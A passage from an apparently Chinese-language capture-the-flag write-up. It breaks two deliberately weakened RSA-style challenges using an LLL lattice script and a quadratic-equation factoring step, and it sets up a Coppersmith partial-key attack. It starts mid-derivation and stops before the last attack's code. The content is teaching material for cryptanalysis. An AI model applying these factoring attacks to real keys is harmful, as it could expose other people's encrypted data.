   $\begin{aligned} \text{val} &= 65537 + x - x^2 + qy - xy + yq + yx + xq + x^2 \\ &= 65537 + x + (qy - xy + yx + yq + xq) \\ &= 65537 + x + 2qy + xq \\ &= 65537 + x + q(2y + x) \end{aligned}$

   令 $V_i = c_i - 65537$。

   对于比特 ‘1’，我们有：$V_i = x_i + q(2y_i + x_i)$

   这意味着：$V_i \equiv x_i \pmod q$

   由于 $x_i$ 只有 80 位，而 $q$ 是 300 位，这意味着 $V_i$ 模 $q$ 的余数非常小。

3. 攻击思路：

   • 这是一个典型的 Hidden Number Problem (HNP) 或 Approximate GCD 问题的变体。
   • 对于比特 ‘0’，$c_i$ 是随机的，不满足上述性质。
   • 对于比特 ‘1’，$V_i$ 是 $q$ 的倍数加上一个“小”的噪音 $x_i$。同时我们知道 $n$ 也是 $q$ 的倍数（噪音为 0）。
   • Flag 格式通常为 flag{...}。字符 ‘f’ 的 ASCII 码是 102，二进制为 1100110。
   • 因此，密文的前两项 $c[0]$ 和 $c[1]$ 对应比特 ‘1’。
   • 我们可以利用 $n, c[0], c[1]$ 构建格（Lattice），使用 LLL 算法求出公共因子 $p$（或者 $q$）。一旦知道了 $p$ 和 $q$，我们就可以通过检查 $c_i - 65537 \pmod q$ 是否很小来区分 ‘0’ 和 ‘1’。

1
import re
2
from Crypto.Util.number import long_to_bytes
3
from sage.all import Matrix, ZZ
4

5
def solve():
6
    try:
7
        with open("output.txt", "r") as f:
8
            content = f.read()
9
            n = int(re.search(r"n = (\d+)", content).group(1))
10
            c_str = re.search(r"c = \[(.*?)\]", content, re.DOTALL).group(1)
11
            c = [int(x) for x in c_str.split(',')]
12
    except Exception as e:
13
        print("[-] Error reading output.txt. Make sure the file exists.")
14
        return
15

16
    print(f"[*] Loaded n (approx {n.bit_length()} bits)")
17
    print(f"[*] Loaded {len(c)} ciphertexts")
18

19
    offset = 65537
20
    v0 = c[0] - offset
21
    v1 = c[1] - offset
22
    W = 2**80
23

24
    M = Matrix(ZZ, [
25
        [n,  0, 0],
26
        [0,  n, 0],
27
        [v0, v1, W]
28
    ])
29

30
    print("[*] Running LLL...")
31
    L = M.LLL()
32

33
    p = 0
34
    # 遍历 LLL 结果寻找 p
35
    for row in L:
36
        # 最后一列是 p * W
37
        possible_p = abs(row[2]) // W
38
        if possible_p > 1 and n % possible_p == 0:
39
            p = possible_p
40
            print(f"[+] Found factor p: {p}")
41
            break
42

43
    if p == 0:
44
        print("[-] Failed to find p")
45
        return
46

47
    q = n // p
48

49
    m_bits = ""
50
    for val in c:
51
        check = (val - offset) % q
52
        # x 是 80 bits
53
        if check < 2**81: # Changed ^ to ** for Python compatibility
54
            m_bits += "1"
55
        else:
56
            m_bits += "0"
57

58
    try:
59
        flag_int = int(m_bits, 2)
60
        flag = long_to_bytes(flag_int)
61
        print(f"[+] Flag: {flag.decode()}")
62
    except Exception as e:
63
        print(f"[!] Decoding failed: {e}")
64
        print(f"[!] Raw bits: {m_bits}")
65

66
if __name__ == "__main__":
67
    solve()

StillRSA#

1
from Crypto.Util.number import *
2
from gmpy2 import *
3

4

5
def gen():
6
    while(1):
7
        p1 = getPrime(128)
8
        p2 = getPrime(512)
9
        q2 = getPrime(512)
10
        s = q2 & ((1 << 56) - 1)
11
        q1 = 2 * p1 + s
12
        r1 = 2 * q1 + s
13
        if is_prime(q1) and is_prime(r1):
14
            n1 = p1 * q1 * r1
15
            n2 = p2 * q2
16
            break
17
    return n1,n2,p1,p2
18

19

20
n1,n2, p1, p2 = gen()
21
e = 65537
22

23
flag = "flag{---------------------------------------}".encode()
24
m1 = bytes_to_long(flag[: (len(flag)+1) // 2])
25
m2 = bytes_to_long(flag[(len(flag)+1) // 2 :])
26

27
c1 = powmod(m1, e, n1)
28
c2 = powmod(m2, e, n2)
29

30
gift = p2 >> 262
31

32
print(f"e = {e}")
33
print(f"n1 = {n1}")
34
print(f"n2 = {n2}")
35
print(f"c1 = {c1}")
36
print(f"c2 = {c2}")
37
print(f"p1 = {p1}")
38
print(f"gift = {gift}")
39

40
'''
41
e =
42
n1 =
43
n2 =
44
c1 =
45
c2 =
46
p1 =
47
gift =
48
'''

题目分析

题目提供了一个 Python 脚本 stillRSA.py，其中包含：

1. 密钥生成函数 gen()。
2. 加密过程：Flag 被切分为两部分 m1 和 m2，分别用 (n1, e) 和 (n2, e) 加密得到 c1 和 c2。
3. 已知信息：e, n1, n2, c1, c2, p1, gift。

我们需要分别攻破 n1 和 n2 的体系来恢复 m1 和 m2。

第一部分：恢复 m1

1. 漏洞分析

观察 gen() 函数中生成 n1 的部分：

1
p1 = getPrime(128)
2
# ...
3
s = q2 & ((1 << 56) - 1)  # s 是一个 56 位的随机数 (q2 的低位)
4
q1 = 2 * p1 + s
5
r1 = 2 * q1 + s
6
# ...
7
n1 = p1 * q1 * r1

我们已知 n1 和 p1。 由代码可知，q1 和 r1 都线性依赖于 p1 和一个未知数 s。

我们可以推导 r1 关于 p1 和 s 的表达式： $r1 = 2(2p_1 + s) + s = 4p_1 + 3s$

将 q1 和 r1 代入 n1 的公式： $n1 = p_1 \cdot (2p_1 + s) \cdot (4p_1 + 3s)$

因为 p1 已知，我们可以计算 $K = n1 / p1$： $K = (2p_1 + s)(4p_1 + 3s)$ $K = 8p_1^2 + 6p_1s + 4p_1s + 3s^2$ $K = 8p_1^2 + 10p_1s + 3s^2$

整理得到关于 s 的一元二次方程： $3s^2 + 10p_1s + (8p_1^2 - K) = 0$

2. 求解 s

这是一个标准的二次方程 $as^2 + bs + c = 0$，其中：

• $a = 3$
• $b = 10p_1$
• $c = 8p_1^2 - K$

利用求根公式 $s = \frac{-b + \sqrt{b^2 - 4ac}}{2a}$ 即可解出 s。

3. 解密 m1

求出 s 后，即可计算：

• $q_1 = 2p_1 + s$
• $r_1 = 2q_1 + s$
• $\phi(n_1) = (p_1-1)(q_1-1)(r_1-1)$
• $d_1 = e^{-1} \pmod{\phi(n_1)}$
• $m_1 = c_1^{d_1} \pmod{n_1}$

结果: 解密得到 m1 为 flag{Im_a_fw_that_only_。 同时得到 s = 9552164980988953。

第二部分：恢复 m2

1. 漏洞分析

观察 gen() 函数中生成 n2 的部分：

1
p2 = getPrime(512)
2
q2 = getPrime(512)
3
s = q2 & ((1 << 56) - 1)  # s 是 q2 的低 56 位
4
# ...
5
n2 = p2 * q2
6
# ...
7
gift = p2 >> 262          # gift 是 p2 的高位 (512 - 262 = 250 位)

我们需要分解 n2 得到 p2。已知信息如下：

1. p2 的高位: 由 gift 给出。
2. p2 的低位: 可以通过 s 推导。

推导 p2 低位: 由 s = q2 & ((1 << 56) - 1) 可知： $q_2 \equiv s \pmod{2^{56}}$ 因为 $n_2 = p_2 \cdot q_2$，所以： $n_2 \equiv p_2 \cdot s \pmod{2^{56}}$ $p_2 \equiv n_2 \cdot s^{-1} \pmod{2^{56}}$

令 p2_low 为计算出的 p2 低 56 位。

p2 的结构: $p_2 = (\text{gift} \times 2^{262}) + (x \times 2^{56}) + \text{p2\_low}$ 其中 $x$ 是中间未知的比特部分。 已知 p2 是 512 位，gift 覆盖了高 250 位，p2_low 覆盖了低 56 位。 中间未知部分 $x$ 的长度约为 $512 - 250 - 56 = 206$ 位。

2. Coppersmith 攻击

这是一个典型的已知部分私钥位的 RSA 攻击问题（Coppersmith’s Attack）。我们可以构造一个多项式 $f(x)$，使得 $p_2$ 是它的一个小根。

构造多项式： $f(x) = (\text{gift} \cdot 2^{262} + \text{p2\_low}) + x \cdot 2^{56} \pmod{n_2}$

我们需要找到 $x_0$，使得 $f(x_0) \equiv 0 \pmod{p_2}$。 由于 $p_2$ 是 $n_2$ 的因子，且 $x_0$ 相对较小 ($2^{206} < n_2^{0.25}$)，我们可以使用格基规约（LLL算法）来求解。在 SageMath 中可以使用 small_roots 方法。